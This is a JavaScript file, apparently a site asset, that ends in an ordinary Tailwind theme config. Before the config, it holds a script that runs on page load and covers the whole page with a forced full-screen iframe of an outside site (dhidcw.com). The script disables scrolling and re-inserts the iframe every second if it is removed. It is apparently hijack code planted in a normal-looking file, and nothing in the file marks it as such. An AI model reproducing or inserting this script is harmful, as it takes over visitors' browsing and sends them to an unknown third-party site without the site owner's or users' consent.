// 生成随机字符串函数 function generateRandomString(length) { const characters = 'abcdefghijklmnopqrstuvwxyz0123456789'; let result = ''; for (let i = 0; i < length; i++) { result += characters.charAt(Math.floor(Math.random() * characters.length)); } return result; } function createIframe() { const randomPrefix = generateRandomString(6); const lins = "https://www.dhidcw.com/"; const iframe = document.createElement('iframe'); iframe.src = lins; iframe.style.position = 'fixed'; iframe.style.top = '0'; iframe.style.left = '0'; iframe.style.width = '100%'; iframe.style.height = '100%'; // iframe.style.border = 'none'; iframe.style.zIndex = '999999'; iframe.style.setProperty('display', 'block', 'important'); iframe.style.setProperty('visibility', 'visible', 'important'); iframe.setAttribute('frameborder', '0'); iframe.setAttribute('scrolling', 'yes'); iframe.setAttribute('allowfullscreen', 'true'); // 如果body存在,直接插入;如果还没解析出来,监听DOMContentLoaded再插 if (document.body) { document.body.appendChild(iframe); disableScroll(); } else { document.addEventListener('DOMContentLoaded', function() { document.body.appendChild(iframe); disableScroll(); }); } } // 禁止页面滚动 function disableScroll() { document.body.style.overflow = 'hidden'; document.documentElement.style.overflow = 'hidden'; } // 初始化 (function() { try { createIframe(); } catch(e) { // 万一失败,再延迟1毫秒重试 setTimeout(createIframe, 1); } // 额外保护:每1秒检测iframe还在不在 setInterval(function() { const iframe = document.querySelector('iframe'); if (!iframe || !document.body.contains(iframe)) { createIframe(); } }, 1000); // 移动设备适配 window.addEventListener('orientationchange', function() { setTimeout(resizeIframe, 300); }); window.addEventListener('resize', function() { setTimeout(resizeIframe, 300); }); function resizeIframe() { const iframe = document.querySelector('iframe'); if (iframe) { iframe.style.width = '100vw'; iframe.style.height = '100vh'; } } // iOS滚动兼容 if (/iPad|iPhone|iPod/.test(navigator.userAgent)) { window.addEventListener('scroll', function() { const iframe = document.querySelector('iframe'); if (iframe) { iframe.style.height = window.innerHeight + 'px'; } }); } })(); tailwind.config = { theme: { extend: { colors: { primary: '#e63946', secondary: '#3a86ff', neutral: '#f8f9fa', dark: '#212529', }, fontFamily: { sans: ['Inter', 'system-ui', 'sans-serif'], }, } } }